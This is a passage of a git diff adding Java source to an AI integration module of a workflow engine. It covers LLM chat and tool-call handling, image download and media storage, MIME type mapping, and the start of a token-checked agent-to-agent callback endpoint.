+ } + } + + @SneakyThrows + private LLMResponse chatComplete( + ChatModel chatModel, ChatOptions chatOptions, ChatCompletion input) { + ChatClient chatClient = ChatClient.create(chatModel); + if (StringUtils.isNotBlank(input.getInstructions())) { + input.getMessages() + .addFirst(new ChatMessage(ChatMessage.Role.system, input.getInstructions())); + } + + List messages = + new ArrayList<>(input.getMessages().stream().map(this::constructMessage).toList()); + + ensureLastMessageIsFromUser(messages); + + Prompt prompt = new Prompt(messages, chatOptions); + ChatResponse chatResponse = chatClient.prompt(prompt).call().chatResponse(); + if (chatResponse == null) { + throw new RuntimeException("No response generated"); + } + if (chatResponse.getResults().isEmpty()) { + String result = objectMapper.writeValueAsString(chatResponse); + return LLMResponse.builder() + .result(result) + .completionTokens(chatResponse.getMetadata().getUsage().getCompletionTokens()) + .promptTokens(chatResponse.getMetadata().getUsage().getPromptTokens()) + .tokenUsed(chatResponse.getMetadata().getUsage().getTotalTokens()) + .build(); + } + + List tools = null; + String finishReason = null; + List responses = new ArrayList<>(); + List media = new ArrayList<>(); + for (Generation result : chatResponse.getResults()) { + if (result.getOutput().hasToolCalls()) { + List toolCalls = result.getOutput().getToolCalls(); + tools = new ArrayList<>(); + for (AssistantMessage.ToolCall toolCall : toolCalls) { + String name = toolCall.name(); + String id = toolCall.id(); + if (id == null || id.isBlank()) { + id = UUID.randomUUID().toString(); + } + String argsAsString = toolCall.arguments(); + Map args = new HashMap<>(); + try { + @SuppressWarnings("unchecked") + Map parsedArgs = + objectMapper.readValue(argsAsString, Map.class); + // Recursively parse any nested JSON strings + args = parseNestedJsonStrings(parsedArgs); + } catch (JsonProcessingException ignored) { + log.warn(ignored.getMessage(), ignored); + } + args.put("method", name); + + Optional matched = + input.getTools().stream() + .filter(toolSpec -> toolSpec.getName().equals(name)) + .findFirst(); + + String type = matched.map(ToolSpec::getType).orElse(TASK_TYPE_SIMPLE); + tools.add( + ToolCall.builder() + .taskReferenceName(id) + .name(name) + .inputParameters(args) + .integrationNames(getIntegrationNames(name, input.getTools())) + .type(type) + .build()); + } + finishReason = result.getMetadata().getFinishReason(); + } else { + responses.add(result.getOutput().getText()); + result.getOutput() + .getMedia() + .forEach( + m -> + media.add( + org.conductoross.conductor.ai.model.Media.builder() + .data(m.getDataAsByteArray()) + .mimeType(m.getMimeType().toString()) + .build())); + // storeMedia(outputLocation, result.getOutput().getMedia()); + if (finishReason == null) { + finishReason = result.getMetadata().getFinishReason(); + } + } + } + Object result = responses; + if (responses.size() == 1) { + result = responses.getFirst(); + } + finishReason = finishReasonMap.getOrDefault(finishReason, finishReason).toUpperCase(); + + // Extract response_id if present (set by OpenAI Responses API for chaining) + String responseId = null; + Object respIdObj = chatResponse.getMetadata().get("response_id"); + if (respIdObj instanceof String rid) { + responseId = rid; + } + + // Reasoning summary + reasoning token count. Surfaced by the OpenAI + // Responses API, Anthropic extended thinking, and Gemini thought + // summaries — the chat-model adapters normalize all three onto these + // two metadata keys before we read them here. + String reasoning = null; + Object reasoningObj = chatResponse.getMetadata().get("reasoning"); + if (reasoningObj instanceof String r && !r.isBlank()) { + reasoning = r; + } + Integer reasoningTokens = null; + Object rtObj = chatResponse.getMetadata().get("reasoning_tokens"); + // ``Number`` rather than ``Integer`` so a Long survives the Jackson + // round-trip ChatResponseMetadata may go through. Token counts won't + // overflow int — convert and move on. + if (rtObj instanceof Number rt) { + reasoningTokens = rt.intValue(); + } + + return LLMResponse.builder() + .result(result) + .media(media) + .toolCalls(tools) + .finishReason(finishReason) + .responseId(responseId) + .reasoning(reasoning) + .reasoningTokens(reasoningTokens) + .completionTokens(chatResponse.getMetadata().getUsage().getCompletionTokens()) + .promptTokens(chatResponse.getMetadata().getUsage().getPromptTokens()) + .tokenUsed(chatResponse.getMetadata().getUsage().getTotalTokens()) + .build(); + } + + private LLMResponse generateImage( + ImageModel imageModel, ImageOptions options, ImageGenRequest request) { + ImageMessage imageMessage = new ImageMessage(request.getPrompt(), request.getWeight()); + ImagePrompt prompt = new ImagePrompt(List.of(imageMessage), options); + ImageResponse response = imageModel.call(prompt); + LLMResponse mediaGenResponse = new LLMResponse(); + List mediaList = new ArrayList<>(); + for (ImageGeneration result : response.getResults()) { + var image = result.getOutput(); + String url = image.getUrl(); + String base64 = image.getB64Json(); + + // Determine the mime type from the output format + String mimeType = + "image/" + + (request.getOutputFormat() != null + ? request.getOutputFormat() + : "png"); + + if (base64 != null) { + // Base64 data provided - decode and store + mediaList.add( + org.conductoross.conductor.ai.model.Media.builder() + .data(Base64.getDecoder().decode(base64)) + .mimeType(mimeType) + .build()); + } else if (url != null) { + // URL provided - download the image bytes so we can store locally + // This ensures the image is persisted even after the provider's URL expires + byte[] imageBytes = downloadImageFromUrl(url); + if (imageBytes != null) { + // Detect mime type from URL extension if possible + String detectedMimeType = getMimeTypeFromUrl(url, mimeType); + mediaList.add( + org.conductoross.conductor.ai.model.Media.builder() + .data(imageBytes) + .mimeType(detectedMimeType) + .build()); + } else { + // Fallback: if download fails, keep the URL (will expire but better than + // nothing) + log.warn("Failed to download image from URL, keeping external URL: {}", url); + mediaList.add( + org.conductoross.conductor.ai.model.Media.builder() + .location(url) + .mimeType(mimeType) + .build()); + } + } + } + + mediaGenResponse.setMedia(mediaList); + + return mediaGenResponse; + } + + /** + * Downloads image bytes from a URL. Used to persist images locally instead of relying on + * provider-hosted URLs that may expire. + * + * @param url The image URL to download from + * @return The image bytes, or null if download failed + */ + private byte[] downloadImageFromUrl(String url) { + try { + Request request = new Request.Builder().url(url).get().build(); + + try (Response response = httpClient.newCall(request).execute()) { + if (!response.isSuccessful()) { + log.error( + "Failed to download image from URL {}: HTTP {}", url, response.code()); + return null; + } + ResponseBody body = response.body(); + if (body == null) { + log.error("Empty response body when downloading image from URL: {}", url); + return null; + } + byte[] bytes = body.bytes(); + log.debug("Downloaded {} bytes from image URL: {}", bytes.length, url); + return bytes; + } + } catch (Exception e) { + log.error("Exception downloading image from URL {}: {}", url, e.getMessage()); + return null; + } + } + + @SneakyThrows + private Message constructMessage(ChatMessage chatMessage) { + return switch (chatMessage.getRole()) { + case user -> getMessage(chatMessage); + case assistant -> new AssistantMessage(chatMessage.getMessage()); + case system -> new SystemMessage(chatMessage.getMessage()); + case tool_call -> + AssistantMessage.builder() + .content("{}") + .toolCalls( + chatMessage.getToolCalls().stream() + .map( + tc -> { + var name = + extractMethodFromInputParameters( + tc.getInputParameters()); + return new AssistantMessage.ToolCall( + tc.getTaskReferenceName(), + "function", + name == null ? tc.getName() : name, + toJSON(tc.getInputParameters())); + }) + .toList()) + .build(); + case tool -> { + List toolCalls = chatMessage.getToolCalls(); + if (toolCalls == null) { + log.warn("chat message role: {}, but toolCalls is null", chatMessage.getRole()); + toolCalls = new ArrayList<>(); + } + try { + List responses = new ArrayList<>(); + if (toolCalls.isEmpty()) { + log.info("toolCalls is empty for {}", chatMessage); + } + for (ToolCall toolCall : toolCalls) { + Map inputJson = toolCall.getInputParameters(); + var name = extractMethodFromInputParameters(inputJson); + String outputJSON = objectMapper.writeValueAsString(toolCall.getOutput()); + + log.trace("outputJSON for {} is {}", toolCall.getName(), outputJSON); + log.info("tool: {}", toolCall); + log.info("tool.getTaskReferenceName: {}", toolCall.getTaskReferenceName()); + responses.add( + new ToolResponseMessage.ToolResponse( + toolCall.getTaskReferenceName(), + name == null ? toolCall.getName() : name, + outputJSON)); + } + log.trace("responses: {}", responses); + yield ToolResponseMessage.builder().responses(responses).build(); + } catch (Exception e) { + log.error("error: {}", e.getMessage(), e); + yield new SystemMessage(chatMessage.getMessage()); + } + } + }; + } + + private String toJSON(Object input) { + try { + if (input == null) { + return "{}"; + } + return objectMapper.writeValueAsString(input); + } catch (JsonProcessingException jpe) { + return String.valueOf(input); + } + } + + /** + * Extracts the "method" value from a map structure where the outer key is dynamic. The map + * structure is expected to be: { "dynamicKey": { "method": "methodName", ... } } + * + * @param inputParameters The map containing the nested structure + * @return The method value as a String, or null if not found + */ + @SuppressWarnings("unchecked") + @VisibleForTesting + String extractMethodFromInputParameters(Map inputParameters) { + if (inputParameters == null || inputParameters.isEmpty()) { + return null; + } + + // Iterate through all entries to find the nested map with "method" key + for (Map.Entry entry : inputParameters.entrySet()) { + Object value = entry.getValue(); + if (value instanceof Map) { + Map nestedMap = (Map) value; + if (nestedMap.containsKey("method")) { + Object methodValue = nestedMap.get("method"); + return methodValue != null ? methodValue.toString() : null; + } + } + } + + return null; + } + + private Message getMessage(ChatMessage msg) { + List rawMedia = msg.getMedia(); + List media = + (rawMedia == null ? List.of() : rawMedia).stream() + .map(m -> getMedia(msg.getMimeType(), m)) + .filter(Objects::nonNull) + .toList(); + return UserMessage.builder().text(msg.getMessage()).media(media).build(); + } + + private Media getMedia(String mimeType, String content) { + // content can be a URL or base64 encoded data + URI uri = AIModel.getURI(content); + if (uri == null) { + return Media.builder().data(content).mimeType(MimeType.valueOf(mimeType)).build(); + } + Optional data = + documentLoaders.stream() + .filter(documentLoader -> documentLoader.supports(content)) + .findFirst() + .map(loader -> loader.download(content)); + final String mimeTypeResolved = + Optional.ofNullable(mimeType) + .orElse(MimeExtensionResolver.getMimeTypeFromUrl(content, "")); + return data.map( + bytes -> + Media.builder() + .data(bytes) + .mimeType(MimeType.valueOf(mimeTypeResolved)) + .build()) + .orElse(null); + } + + private void storeMedia( + String location, List media) { + + DocumentLoader documentLoader = + documentLoaders.stream() + .filter(loader -> loader.supports(location)) + .findFirst() + .orElse(null); + if (documentLoader == null) { + log.debug("no document loaders found, media will not be stored"); + return; + } + media.stream() + .filter(m1 -> m1.getData() != null) + .forEach( + m -> { + // Each media item gets a unique path with file extension + // to prevent overwriting when multiple items exist + // (e.g., video + thumbnail) + String ext = getExtension(m.getMimeType()); + String uniqueLocation = + location + "_" + java.util.UUID.randomUUID() + ext; + String uploadLocation = + documentLoader.upload( + Map.of(), m.getMimeType(), m.getData(), uniqueLocation); + m.setLocation(uploadLocation); + m.setData(null); + }); + } + + /** + * Stores media from an InputStream, streaming directly to the DocumentLoader without buffering + * the full content in memory. Intended for large media files such as video. + * + * @param location Base storage location (e.g., file:///path/to/storage) + * @param mimeType MIME type of the media (e.g., "video/mp4") + * @param stream InputStream containing the media data + * @return The storage location where the media was written, or null if no loader was found + */ + public String storeMediaStream(String location, String mimeType, java.io.InputStream stream) { + Optional docLoader = + documentLoaders.stream() + .filter(documentLoader -> documentLoader.supports(location)) + .findFirst(); + if (docLoader.isPresent()) { + String ext = getExtension(mimeType); + String uniqueLocation = location + "_" + java.util.UUID.randomUUID() + ext; + docLoader.get().upload(Map.of(), mimeType, stream, uniqueLocation); + return uniqueLocation; + } + return null; + } + + private Map getIntegrationNames(String toolCallName, List toolSpecs) { + Optional matched = + toolSpecs.stream() + .filter(toolSpec -> toolSpec.getName().equals(toolCallName)) + .findFirst(); + return matched.map(ToolSpec::getIntegrationNames).orElse(Collections.emptyMap()); + } + + /** + * Recursively parses JSON strings within a Map structure. This handles cases where the LLM + * generates nested JSON strings like "{\"value\":\"page\"}". + * + * @param input The input Map that may contain JSON strings + * @return A new Map with JSON strings parsed into their object representations + */ + @SuppressWarnings("unchecked") + @VisibleForTesting + Map parseNestedJsonStrings(Map input) { + if (input == null) { + return null; + } + + Map result = new HashMap<>(); + + for (Map.Entry entry : input.entrySet()) { + String key = entry.getKey(); + Object value = entry.getValue(); + + if (value instanceof String) { + String stringValue = (String) value; + if (isJsonString(stringValue)) { + try { + // Parse the JSON string into an object + Object parsedValue = objectMapper.readValue(stringValue, Object.class); + // Recursively parse any nested JSON strings in the parsed object + if (parsedValue instanceof Map) { + parsedValue = parseNestedJsonStrings((Map) parsedValue); + } else if (parsedValue instanceof List) { + parsedValue = parseNestedJsonStringsInList((List) parsedValue); + } + result.put(key, parsedValue); + } catch (Exception e) { + // If parsing fails, keep the original string value + log.debug( + "Failed to parse JSON string for key {}: {}", key, e.getMessage()); + result.put(key, value); + } + } else { + result.put(key, value); + } + } else if (value instanceof Map) { + // Recursively parse nested Maps + result.put(key, parseNestedJsonStrings((Map) value)); + } else if (value instanceof List) { + // Recursively parse nested Lists + result.put(key, parseNestedJsonStringsInList((List) value)); + } else { + result.put(key, value); + } + } + + return result; + } + + /** Recursively parses JSON strings within a List structure. */ + @SuppressWarnings("unchecked") + private List parseNestedJsonStringsInList(List input) { + if (input == null) { + return null; + } + + List result = new ArrayList<>(); + + for (Object item : input) { + if (item instanceof String) { + String stringValue = (String) item; + if (isJsonString(stringValue)) { + try { + Object parsedValue = objectMapper.readValue(stringValue, Object.class); + if (parsedValue instanceof Map) { + parsedValue = parseNestedJsonStrings((Map) parsedValue); + } else if (parsedValue instanceof List) { + parsedValue = parseNestedJsonStringsInList((List) parsedValue); + } + result.add(parsedValue); + } catch (Exception e) { + log.debug("Failed to parse JSON string in list: {}", e.getMessage()); + result.add(item); + } + } else { + result.add(item); + } + } else if (item instanceof Map) { + result.add(parseNestedJsonStrings((Map) item)); + } else if (item instanceof List) { + result.add(parseNestedJsonStringsInList((List) item)); + } else { + result.add(item); + } + } + + return result; + } + + /** + * Ensures the conversation ends with a user message. Some providers (e.g. Anthropic/Claude) + * reject requests where the last message has an assistant or tool_call role ("assistant message + * prefill"). This typically happens when the prior iteration ended with finishReason=MAX_TOKENS + * and the DO_WHILE loop continues with the partial assistant response as the last message in + * the history. Appending a user continuation prompt is safe for all providers — OpenAI and + * others simply treat it as the next user turn. + * + * @param messages The mutable list of messages to check and potentially modify + */ + @VisibleForTesting + void ensureLastMessageIsFromUser(List messages) { + if (messages.isEmpty()) return; + Message last = messages.getLast(); + if (last instanceof UserMessage) return; + + if (last instanceof AssistantMessage assistantMsg) { + // Replace trailing assistant message with a user message that includes + // the partial text as context + continuation instruction. + // This avoids the "assistant message prefill" error from Claude. + String partialText = assistantMsg.getText(); + messages.removeLast(); + String continuation = + partialText != null && !partialText.isBlank() + ? "You were saying:\n\n" + + partialText + + "\n\nPlease continue where you left off." + : "Please continue where you left off."; + messages.add(new UserMessage(continuation)); + } else { + // For any other non-user message type (tool_call, system, etc.) + messages.add(new UserMessage("Please continue where you left off.")); + } + } + + /** Checks if a string looks like JSON */ + @VisibleForTesting + boolean isJsonString(String value) { + if (value == null || value.trim().isEmpty()) { + return false; + } + String trimmed = value.trim(); + return (trimmed.startsWith("{") && trimmed.endsWith("}")) + || (trimmed.startsWith("[") && trimmed.endsWith("]")); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/LLMs.java b/ai/src/main/java/org/conductoross/conductor/ai/LLMs.java new file mode 100644 index 0000000..9168224 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/LLMs.java @@ -0,0 +1,130 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.function.Consumer; + +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.common.JsonSchemaValidator; +import org.conductoross.conductor.common.utils.StringTemplate; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class LLMs { + + protected AIModelProvider modelProvider; + protected LLMHelper helper; + protected String payloadStoreLocation; + protected Consumer tokenUsageLogger = + (tokenUsageLog) -> { + log.info("{}", tokenUsageLog); + }; + + public LLMs( + List documentLoaders, + JsonSchemaValidator jsonSchemaValidator, + AIModelProvider modelProvider, + OkHttpClient conductorAiHttpClient) { + this.modelProvider = modelProvider; + this.helper = new LLMHelper(jsonSchemaValidator, documentLoaders, conductorAiHttpClient); + this.payloadStoreLocation = modelProvider.getPayloadStoreLocation(); + } + + public LLMResponse chatComplete(Task task, ChatCompletion chatCompletion) { + AIModel llm = this.modelProvider.getModel(chatCompletion); + String prompt = + replacePromptVariables( + task, + chatCompletion.getInstructions(), + chatCompletion.getPromptVariables()); + chatCompletion.setInstructions(prompt); + return helper.chatComplete( + task, llm, chatCompletion, getPayloadStoreLocation(task), tokenUsageLogger); + } + + public LLMResponse generateImage(Task task, ImageGenRequest imageGenRequest) { + AIModel llm = this.modelProvider.getModel(imageGenRequest); + String prompt = + replacePromptVariables( + task, imageGenRequest.getPrompt(), imageGenRequest.getPromptVariables()); + imageGenRequest.setPrompt(prompt); + return helper.generateImage( + task, llm, imageGenRequest, getPayloadStoreLocation(task), tokenUsageLogger); + } + + public LLMResponse generateAudio(Task task, AudioGenRequest audioGenRequest) { + AIModel llm = this.modelProvider.getModel(audioGenRequest); + String prompt = + replacePromptVariables( + task, audioGenRequest.getPrompt(), audioGenRequest.getPromptVariables()); + audioGenRequest.setPrompt(prompt); + return helper.generateAudio( + task, llm, audioGenRequest, getPayloadStoreLocation(task), tokenUsageLogger); + } + + public List generateEmbeddings(Task task, EmbeddingGenRequest embeddingGenRequest) { + AIModel llm = this.modelProvider.getModel(embeddingGenRequest); + return helper.generateEmbeddings(task, llm, embeddingGenRequest, tokenUsageLogger); + } + + public LLMResponse generateVideo(Task task, VideoGenRequest videoGenRequest) { + AIModel llm = this.modelProvider.getModel(videoGenRequest); + String prompt = + replacePromptVariables( + task, videoGenRequest.getPrompt(), videoGenRequest.getPromptVariables()); + videoGenRequest.setPrompt(prompt); + return helper.generateVideo( + task, llm, videoGenRequest, getPayloadStoreLocation(task), tokenUsageLogger); + } + + public LLMResponse checkVideoStatus(Task task, VideoGenRequest videoGenRequest) { + AIModel llm = this.modelProvider.getModel(videoGenRequest); + return helper.checkVideoStatus(task, llm, videoGenRequest, getPayloadStoreLocation(task)); + } + + public String replacePromptVariables( + Task task, String prompt, Map paramReplacement) { + if (paramReplacement != null) { + prompt = StringTemplate.fString(prompt, paramReplacement); + } + return prompt; + } + + public String getPayloadStoreLocation(Task task) { + return payloadStoreLocation + + "/" + + task.getWorkflowInstanceId() + + "/" + + task.getTaskId() + + "/" + + UUID.randomUUID(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/MimeExtensionResolver.java b/ai/src/main/java/org/conductoross/conductor/ai/MimeExtensionResolver.java new file mode 100644 index 0000000..d5236ca --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/MimeExtensionResolver.java @@ -0,0 +1,179 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.util.HashMap; +import java.util.Map; + +public class MimeExtensionResolver { + + private static final Map mimeToExt = new HashMap<>(); + private static final Map extToMime = new HashMap<>(); + + static { + // ----- IMAGE ----- + mimeToExt.put("image/jpeg", ".jpg"); + mimeToExt.put("image/jpg", ".jpg"); + mimeToExt.put("image/png", ".png"); + mimeToExt.put("image/gif", ".gif"); + mimeToExt.put("image/bmp", ".bmp"); + mimeToExt.put("image/webp", ".webp"); + mimeToExt.put("image/tiff", ".tiff"); + mimeToExt.put("image/svg+xml", ".svg"); + mimeToExt.put("image/x-icon", ".ico"); + mimeToExt.put("image/heif", ".heif"); + mimeToExt.put("image/heic", ".heic"); + + // ----- AUDIO ----- + mimeToExt.put("audio/mpeg", ".mp3"); + mimeToExt.put("audio/wav", ".wav"); + mimeToExt.put("audio/x-wav", ".wav"); + mimeToExt.put("audio/ogg", ".ogg"); + mimeToExt.put("audio/flac", ".flac"); + mimeToExt.put("audio/aac", ".aac"); + mimeToExt.put("audio/mp4", ".m4a"); + mimeToExt.put("audio/opus", ".opus"); + mimeToExt.put("audio/webm", ".weba"); + mimeToExt.put("audio/amr", ".amr"); + + // ----- VIDEO ----- + mimeToExt.put("video/mp4", ".mp4"); + mimeToExt.put("video/mpeg", ".mpeg"); + mimeToExt.put("video/x-msvideo", ".avi"); + mimeToExt.put("video/x-ms-wmv", ".wmv"); + mimeToExt.put("video/quicktime", ".mov"); + mimeToExt.put("video/webm", ".webm"); + mimeToExt.put("video/3gpp", ".3gp"); + mimeToExt.put("video/3gpp2", ".3g2"); + mimeToExt.put("video/x-flv", ".flv"); + mimeToExt.put("video/x-matroska", ".mkv"); + + // ----- DOCUMENTS ----- + mimeToExt.put("application/pdf", ".pdf"); + mimeToExt.put("application/msword", ".doc"); + mimeToExt.put( + "application/vnd.openxmlformats-officedocument.wordprocessingml.document", ".docx"); + mimeToExt.put("application/vnd.ms-excel", ".xls"); + mimeToExt.put("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", ".xlsx"); + mimeToExt.put("application/vnd.ms-powerpoint", ".ppt"); + mimeToExt.put( + "application/vnd.openxmlformats-officedocument.presentationml.presentation", + ".pptx"); + mimeToExt.put("application/rtf", ".rtf"); + mimeToExt.put("application/zip", ".zip"); + mimeToExt.put("application/x-7z-compressed", ".7z"); + mimeToExt.put("application/x-rar-compressed", ".rar"); + mimeToExt.put("application/json", ".json"); + mimeToExt.put("application/xml", ".xml"); + + // ----- TEXT / CODE ----- + mimeToExt.put("text/plain", ".txt"); + mimeToExt.put("text/html", ".html"); + mimeToExt.put("text/css", ".css"); + mimeToExt.put("text/csv", ".csv"); + mimeToExt.put("text/javascript", ".js"); + + // ----- Reverse mapping (ext → mime) ----- + for (Map.Entry e : mimeToExt.entrySet()) { + String ext = e.getValue().replaceFirst("^\\.", ""); + extToMime.put(ext, e.getKey()); + } + // aliases + extToMime.put("jpg", "image/jpeg"); + extToMime.put("jpeg", "image/jpeg"); + extToMime.put("htm", "text/html"); + } + + public static String getExtension(String input) { + if (input == null || input.isEmpty()) return ""; + + input = input.trim().toLowerCase(); + + // Case 1: Input looks like extension + if (!input.contains("/") && !input.contains("*")) { + if (input.startsWith(".")) input = input.substring(1); + String mime = extToMime.get(input); + if (mime != null) return mimeToExt.get(mime); + return "." + input; // fallback + } + + // Case 2: Wildcard MIME + if (input.endsWith("/*")) { + String type = input.substring(0, input.indexOf('/')); + switch (type) { + case "image": + return ".jpg"; + case "audio": + return ".mp3"; + case "video": + return ".mp4"; + case "text": + return ".txt"; + case "application": + return ".bin"; + default: + return ""; + } + } + + // Case 3: Exact MIME + return mimeToExt.getOrDefault(input, ""); + } + + public static String getMimeType(String ext) { + if (ext == null || ext.isEmpty()) return ""; + if (ext.startsWith(".")) ext = ext.substring(1); + return extToMime.getOrDefault(ext.toLowerCase(), "application/octet-stream"); + } + + /** + * Attempts to detect the MIME type from a URL by examining its path for known file extensions. + * Useful when downloading media from external URLs where the Content-Type header may not be + * reliable. + * + * @param url The URL to examine + * @param defaultMimeType The default MIME type to return if no extension is detected + * @return The detected MIME type, or the default if detection fails + */ + public static String getMimeTypeFromUrl(String url, String defaultMimeType) { + if (url == null || url.isEmpty()) { + return defaultMimeType; + } + + // Remove query string and fragment + String path = url; + int queryIdx = path.indexOf('?'); + if (queryIdx > 0) { + path = path.substring(0, queryIdx); + } + int fragIdx = path.indexOf('#'); + if (fragIdx > 0) { + path = path.substring(0, fragIdx); + } + + // Find the last dot in the path + int lastDot = path.lastIndexOf('.'); + if (lastDot > 0 && lastDot < path.length() - 1) { + // Extract extension (up to 5 chars to avoid false positives) + String ext = path.substring(lastDot + 1).toLowerCase(); + if (ext.length() <= 5) { + String mimeType = extToMime.get(ext); + if (mimeType != null) { + return mimeType; + } + } + } + + return defaultMimeType; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/ModelConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/ModelConfiguration.java new file mode 100644 index 0000000..4760656 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/ModelConfiguration.java @@ -0,0 +1,27 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import okhttp3.OkHttpClient; + +/** + * Configuration for an {@link AIModel}. Implementations build the model via {@link #get()} and + * receive the shared {@link OkHttpClient} (typically Spring's {@code conductorAiHttpClient}) via + * {@link #setHttpClient(OkHttpClient)}. Providers that do not use OkHttp (e.g. Bedrock) may + * implement {@link #setHttpClient(OkHttpClient)} as a no-op. + */ +public interface ModelConfiguration { + T get(); + + void setHttpClient(OkHttpClient httpClient); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ACallbackResource.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ACallbackResource.java new file mode 100644 index 0000000..57bec6e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ACallbackResource.java @@ -0,0 +1,209 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.model.A2ACallRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.service.TaskService; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Receives A2A push notifications from remote agents and completes the corresponding {@code AGENT} + * task that is waiting in push mode. + * + *

Token is read from the {@code Authorization: Bearer } header (preferred), then the + * {@code X-Conductor-A2A-Token} custom header. Comparison is constant-time. Tokens embed an expiry + * timestamp ({@code {uuid}:{epochMillis}}) and are rejected once expired. + */ +@RestController +@RequestMapping("/api/a2a") +@Conditional(AIIntegrationEnabledCondition.class) +public class A2ACallbackResource { + + private static final Logger log = LoggerFactory.getLogger(A2ACallbackResource.class); + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private final TaskService taskService; + private final A2AService a2aService; + + public A2ACallbackResource(TaskService taskService, A2AService a2aService) { + this.taskService = taskService; + this.a2aService = a2aService; + } + + @PostMapping("/callback/{taskId}") + public ResponseEntity onPushNotification( + @PathVariable("taskId") String taskId, + @RequestHeader(value = "Authorization", required = false) String authHeader, + @RequestHeader(value = "X-Conductor-A2A-Token", required = false) String customHeader, + @RequestBody(required = false) JsonNode payload) { + + try (A2ALogging.Scope scope = A2ALogging.of(A2ALogging.TASK_ID, taskId)) { + String token = resolveToken(authHeader, customHeader); + + Task task = loadTask(taskId); + if (task == null || !AgentTask.TASK_TYPE.equals(task.getTaskType())) { + return ResponseEntity.notFound().build(); + } + scope.add(A2ALogging.WORKFLOW_ID, task.getWorkflowInstanceId()) + .add(A2ALogging.REF, task.getReferenceTaskName()); + + Object storedToken = + task.getOutputData() != null + ? task.getOutputData().get(A2AResults.KEY_PUSH_TOKEN) + : null; + if (!isValidToken(storedToken, token)) { + log.warn("A2A push for task {} rejected: token mismatch or expired", taskId); + return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); + } + + if (task.getStatus() != Task.Status.IN_PROGRESS) { + // Already completed (or not waiting) — nothing to do; ack so the agent stops + // retrying. + return ResponseEntity.ok().build(); + } + + A2ACallRequest request = + objectMapper.convertValue(task.getInputData(), A2ACallRequest.class); + String agentTaskId = asString(task.getOutputData().get(A2AResults.KEY_TASK_ID)); + if (StringUtils.isBlank(request.getAgentUrl()) || StringUtils.isBlank(agentTaskId)) { + return ResponseEntity.ok().build(); + } + + A2ATask agentTask; + try { + agentTask = + a2aService.getTask( + request.getAgentUrl(), + 